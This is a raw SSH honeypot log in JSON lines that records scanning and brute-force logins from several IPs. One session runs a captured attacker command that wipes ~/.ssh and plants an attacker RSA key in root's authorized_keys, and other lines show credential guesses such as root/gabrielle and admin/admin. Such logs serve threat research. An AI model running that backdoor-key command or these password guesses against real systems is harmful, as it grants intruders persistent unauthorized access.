{"eventid":"cowrie.login.success","username":"root","password":"gabrielle","message":"login attempt [root/gabrielle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:51.685424Z","src_ip":"163.43.142.110","session":"4b0dec7b0743","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:52.044945Z","src_ip":"163.43.142.110","session":"4b0dec7b0743","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:52.047755Z","src_ip":"163.43.142.110","session":"4b0dec7b0743","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:52.050861Z","src_ip":"163.43.142.110","session":"4b0dec7b0743","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:52.215014Z","src_ip":"163.43.142.110","session":"4b0dec7b0743","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:52.576897Z","src_ip":"163.43.142.110","session":"4b0dec7b0743","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:52.580235Z","src_ip":"163.43.142.110","session":"4b0dec7b0743","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:52.747400Z","src_ip":"163.43.142.110","session":"4b0dec7b0743","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:52.751440Z","src_ip":"163.43.142.110","session":"4b0dec7b0743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.43.142.110","src_port":41400,"dst_ip":"10.17.0.5","dst_port":22,"session":"82dafb32f576","protocol":"ssh","message":"New connection: 163.43.142.110:41400 (10.17.0.5:22) [session: 82dafb32f576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:52.893710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:52.898631Z","src_ip":"163.43.142.110","session":"82dafb32f576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:53.052963Z","src_ip":"163.43.142.110","session":"82dafb32f576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:53.702475Z","src_ip":"163.43.142.110","session":"82dafb32f576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:54.860067Z","src_ip":"163.43.142.110","session":"82dafb32f576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.43.142.110","src_port":41404,"dst_ip":"10.17.0.5","dst_port":22,"session":"225b0331fa92","protocol":"ssh","message":"New connection: 163.43.142.110:41404 (10.17.0.5:22) [session: 225b0331fa92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:55.018038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:55.025327Z","src_ip":"163.43.142.110","session":"225b0331fa92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:55.182935Z","src_ip":"163.43.142.110","session":"225b0331fa92","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:55.845284Z","src_ip":"163.43.142.110","session":"225b0331fa92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:56.006483Z","src_ip":"163.43.142.110","session":"4b0dec7b0743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:40:56.010970Z","src_ip":"163.43.142.110","session":"225b0331fa92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54366,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfe9ba7a7b25","protocol":"ssh","message":"New connection: 2.57.122.208:54366 (159.203.135.109:22) [session: bfe9ba7a7b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:41:19.308480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:41:19.327587Z","src_ip":"2.57.122.208","session":"bfe9ba7a7b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:41:19.415797Z","src_ip":"2.57.122.208","session":"bfe9ba7a7b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:41:19.909665Z","src_ip":"2.57.122.208","session":"bfe9ba7a7b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:41:21.048797Z","src_ip":"2.57.122.208","session":"bfe9ba7a7b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.246.130.20","src_port":14604,"dst_ip":"10.17.0.5","dst_port":22,"session":"57df8f5761eb","protocol":"ssh","message":"New connection: 185.246.130.20:14604 (10.17.0.5:22) [session: 57df8f5761eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:42:52.213773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.4","message":"Remote SSH version: SSH-2.0-libssh_0.11.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:42:52.231818Z","src_ip":"185.246.130.20","session":"57df8f5761eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7d98a1f3b2ced8dc56a19709a6c59fc3","hasshAlgorithms":"diffie-hellman-group-exchange-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 7d98a1f3b2ced8dc56a19709a6c59fc3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:42:52.349494Z","src_ip":"185.246.130.20","session":"57df8f5761eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:43:02.249213Z","src_ip":"185.246.130.20","session":"57df8f5761eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"0","password":"0","message":"login attempt [0/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:43:03.471616Z","src_ip":"185.246.130.20","session":"57df8f5761eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:43:08.840653Z","src_ip":"185.246.130.20","session":"57df8f5761eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.7","message":"Connection lost after 17.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:43:09.954362Z","src_ip":"185.246.130.20","session":"57df8f5761eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34654,"dst_ip":"159.203.135.109","dst_port":22,"session":"1904ea397c63","protocol":"ssh","message":"New connection: 2.57.122.208:34654 (159.203.135.109:22) [session: 1904ea397c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:43:31.523396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:43:31.680024Z","src_ip":"2.57.122.208","session":"1904ea397c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:43:31.684098Z","src_ip":"2.57.122.208","session":"1904ea397c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:43:32.762080Z","src_ip":"2.57.122.208","session":"1904ea397c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:43:33.979526Z","src_ip":"2.57.122.208","session":"1904ea397c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36110,"dst_ip":"159.203.135.109","dst_port":22,"session":"173cd48b62ef","protocol":"ssh","message":"New connection: 2.57.122.208:36110 (159.203.135.109:22) [session: 173cd48b62ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:45:38.584814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:45:38.761691Z","src_ip":"2.57.122.208","session":"173cd48b62ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:45:38.765882Z","src_ip":"2.57.122.208","session":"173cd48b62ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:45:39.727630Z","src_ip":"2.57.122.208","session":"173cd48b62ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:45:40.861697Z","src_ip":"2.57.122.208","session":"173cd48b62ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.105","src_port":54418,"dst_ip":"159.203.135.109","dst_port":23,"session":"17f4b7f2ad56","protocol":"telnet","message":"New connection: 185.242.3.105:54418 (159.203.135.109:23) [session: 17f4b7f2ad56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:47:37.572276Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41786,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4023c5a60e6","protocol":"ssh","message":"New connection: 2.57.122.208:41786 (159.203.135.109:22) [session: a4023c5a60e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:47:51.009056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:47:51.049268Z","src_ip":"2.57.122.208","session":"a4023c5a60e6","protocol":"ssh"}
